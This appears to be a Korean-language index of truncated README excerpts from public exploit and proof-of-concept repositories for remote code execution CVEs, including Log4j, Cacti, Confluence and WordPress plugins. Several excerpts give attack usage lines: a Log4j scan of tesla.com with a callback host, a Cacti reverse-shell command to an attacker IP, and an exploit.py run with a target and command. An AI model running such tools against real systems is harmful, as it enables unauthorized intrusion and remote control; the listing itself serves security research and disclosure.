Log4j-RCE-Exploiter

Log4j-RCE-Exploiter Log4j RCE CVE-2021-44228을 위한 스캐너 설치 설치를 위해 SUPERUSERROOT 권한으로 다음 명령을 실행하세요: ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh 사용법 ▶ log4jExploiter -d tesla.com -b 6nuulng8dd2sivtd3kht31s9e0kq8f.burpcollaborator.net -h, --help Display help -l, --url-list List o...

CVE-2023-27350

! 이 스크립트를 실행할 때 주의하십시오. 명령 실행을 위해 서버 구성을 다시 설정합니다. 스크립트는 종료 시 변경 사항을 되돌리지만, 프로세스가 부적절하게 종료되면 되돌리지 못할 수 있습니다 ! CVE-2023-27350 Papercut 인증되지 않은 원격 코드 실행 버전 스크립트는 서버가 취약한지 자동으로 테스트합니다. 대화형 셸: 취약점이 확인되면 스크립트가 명령 전송을 요청합니다. 스크립트는 종료 시 구성을 되돌립니다. 예제: 참고 자료: CVE-2023-27350 면책 조항 이 스크립트는 교육 목적으로 제공됩니다...

CVE-2022-22965

Spring Boot CVE-2022-22965 Spring Boot 버전 2.6.5에서 CVE-2022-22965에 대한 Docker PoC 🚀 시작하기 1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip 에서 배포 코드를 다운로드하고 압축을 풉니다. 2. docker compose up --build를 실행하여 취약한 애플리케이션을 빌드하고 시작합니다. 3. curl -H "Accept: text/html;"...

SonicWall

설명 SonicWall “Virtual Office” SSL-VPN 제품군에는 ShellShock에 취약한 오래된 버전의 Bash가 포함되어 있으며, 따라서 /cgi-bin/jarrewrite.sh URL을 통해 인증되지 않은 원격 코드 실행"nobody" 사용자 권한에 취약합니다. RCE 방법 참조 https://github.com/darrenmartyn/visualdoor https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit...

CVE-2022-46169

CVE-2022-46169 이 저장소에는 CVE-2022-46169 - Cacti = 1.2.22에서의 비인증 RCE원격 코드 실행에 대한 PoC개념 증명가 포함되어 있습니다. 취약점에 대한 자세한 내용은 여기에서 확인할 수 있습니다. 이 스크립트는 리버스 셸 핸들러를 추가하며, sAsPeCt488이 작성한 코드를 기반으로 합니다. 원본 코드는 여기에서 볼 수 있습니다. 사용법 python3 CVE-2022-46169.py -t 10.129.211.250 -i 10.10.14.72 -p 4444 Arguments: -t :...

dnsbin

dnsbin DNS 요청의 request.bin DNSBin은 DNS를 통한 데이터 유출을 테스트하고, 환경에 상당한 제약이 있을 때 RCE나 XXE와 같은 취약점을 테스트하는 데 도움이 되는 간단한 도구입니다. 프로젝트는 두 부분으로 구성되어 있습니다. 첫 번째 부분은 웹 서버와 그 구성 요소입니다. 기본적인 웹 UI를 제공하며, 대부분의 경우 이 이상은 필요하지 않습니다. 클라이언트 부분은 웹 서비스를 통해 DNS를 통해 양방향으로 데이터를 전송할 수 있는 Python 스크립트를 제공합니다. 데모...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163의 환경 및 익스플로잇: Rails 5.0.1 및 4.2.11.2에서 사용자가 제공한 로컬 이름을 통한 블라인드 원격 코드 실행 환경 구성 1. 포트 4000을 8001에 매핑하여 도커 컨테이너 생성 sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2. 컨테이너 내부에서 일부 도구 업데이트 및 설치 apt update && apt install unzip libz-dev libiconv-hook1 libiconv-hook-dev...

CVE-2024-4885

CVE-2024-4885 CVE-2024-4885 Progress WhatsUp Gold GetFileWithoutZip 인증되지 않은 원격 코드 실행에 대한 PoC CVE-2024-4885 기술 분석 취약점의 근본 원인 분석은 제 블로그에서 확인할 수 있습니다: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ 사용 방법 python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:133...

CVE-2024-11635

WordPress File Upload 이 README는 교육 및 방어 목적으로만 공개된 취약점을 문서화합니다. 프로덕션 시스템이나 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에서실행하지 마십시오. 발견자: abrahack 상태: 공개 보고일: 2025-01-07 CVE ID: CVE-2024-11635 스크린샷 익스플로잇 --- 요약 WordPress File Upload 플러그인은 4.24.12를 포함한 모든 버전에서 'wfuABSPATH' 쿠키 파라미터를 통해 원격 코드 실행에 취약합니다. 이로 인해 인증되지 않은...

poc-proxycommand-vulnerable

안전하지 않은 /.ssh/config를 통한 RCE SSH를 사용한 터널 및 연결 프록시를 위해 ProxyCommand에서 %h, %p와 같은 토큰을 사용하는 것은 꽤 일반적입니다. 취약한 설정 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 참고: 처음 평가에서는 '%h작은따옴표를 사용하면 이를 피할 수 있을 것이라고 생각했지만, 다음과 같은 방식으로는 여전히 취약할 것으로 보입니다: url = ssh://'open...

CVE-2025-34085

Cyberlone Indonesia 🛠️ WordPress Simple File List RCE Scanner + Auto-Clean 인증 없이 WordPress Simple File List 플러그인, 특히 CVE-2025-34085 에 취약한 플러그인의 원격 코드 실행RCE 을 탐지하고 익스플로잇하기 위한 자동화 도구입니다. 대상 자동 정리 시스템과 멀티스레드를 지원하여 대규모 작업에 효율적입니다. 📌 취약점 정보 CVE ID : CVE-2025-34085 구성 요소 : WordPress 플러그인 – Simple File...

CVE-2023-0669-Analysis

CVE-2023-0669 이 저장소는 다음 분석에 사용된 패키지 및 스크립트를 포함합니다. https://www.vicarius.io/vsociety/blog/unauthenticated-rce-in-goanywhere GoAnywhere의 취약한 Linux 버전 https://www.dropbox.com/s/j31l8lgvapbopy3/ga703linuxx64.sh?dl=0...

honeypot-dlink-CVE-2024-3273

honeypot-dlink-CVE-2024-3273 CVE-2024-3273용 빠르고 간단한 허니팟입니다. 이 템플릿을 사용하면 약 10분 안에 기본 허니팟을 설정할 수 있습니다. TL;DR: 를 찾습니다 fofa, shodan, onyphe, .... wgetclonehttp.sh로 클론합니다. 허니팟을 더 현실적으로 만들기 위해 수동으로 조정합니다 클론이 완벽하지 않아 일부 파일은 404가 발생합니다. server.py에 익스플로잇 경로와 일치하는 규칙및 익스플로잇 처리 로직을 추가합니다. 저장하고 실행합니다! 파일은...

CVE-2022-46169

CVE 2022-46169 이 스크립트는 Cacti 1.2.22까지의 버전에 존재하는 인증되지 않은 명령 주입 취약점을 악용하여, 인증되지 않은 원격 코드 실행을 달성하고 리버스 셸을 획득합니다...

CVE-2026-27384

CVE-2026-27384 CVE-2026-27384 — W3 Total Cache mfunc/eval RCE 스캐너 플러그인: W3 Total Cache 플러그인 슬러그: w3-total-cache CVE ID: CVE-2026-27384 CVSS 점수: 9.8 치명적 CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 취약점 유형: 인증되지 않은 임의 코드 실행 eval을 통한 코드 인젝션 영향받는 버전: W3TC는 캐시에서 페이지를 제공할 때 이러한 태그를 처리합니다: 삽입된...

CVE-2024-53677

POC 출처 https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/ RCE 조건 1. 위험 유형 확장자에 대한 제한 없음 2. 파일 업로드 시 업로드 매개변수에서 파일 이름 획득 따라서 완화 수정도 간단합니다. 확장자를 제한하고, 사용자 정의 무작위 파일 이름을 사용하는 등. 스크립트 사용...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence 사전 인증 RCE | OGNL 인젝션 PoC 스크립트 다운로드 git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 익스플로잇 실행 USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit.py https://target.com...

CVE-2026-48907-

CVE-2026-48907 — Joomla JCE Editor 인증되지 않은 RCE 스캐너 및 익스플로잇 CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% Joomla CMS의 JCE Joomla Content Editor 확장 프로그램에서 발견된 치명적인 인증되지 않은 원격 코드 실행 취약점 CVE-2026-48907 을 위한 Python 기반 취약점 스캐너 및 익스플로잇 도구입니다. 📋 취약점 세부 정보 필드| 값 ---|--- CVE ID| CVE-2026-48907 심각도| 심각 CVSS 10....

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 정보 이 저장소는 펌웨어 CH7465LG-NCIP-6.12.18.24-5p8-NOSH 또는 이전 버전이 실행되는 Connect Box CH7465LG에 대한 두 가지 PoC를 포함합니다. 자세한 정보는 내 블로그를 참조하세요. 사용법 인증되지 않은 원격 코드 실행 $ python3 poc-rce.py 인증되지 않은 정보 유출 $ python3 poc-information-dump.py 크레딧 xitan 2019...

watchTowr-vs-SysAid-PreAuth-RCE-Chain

SysAid PreAuth RCE 체인 PoC SysAid PreAuth RCE 체인CVE-2025-2775, CVE-2025-2776, CVE-2025-2777, CVE-2025-2778에 대한 PoC 기술적 세부 사항은 블로그 게시물을 참조하세요. https://github.com/user-attachments/assets/03245fab-915d-43b6-8e91-f0a18251af49 PoC 실행 python watchTowr-vs-SysAid-PreAuth-RCE-Chain.py -t...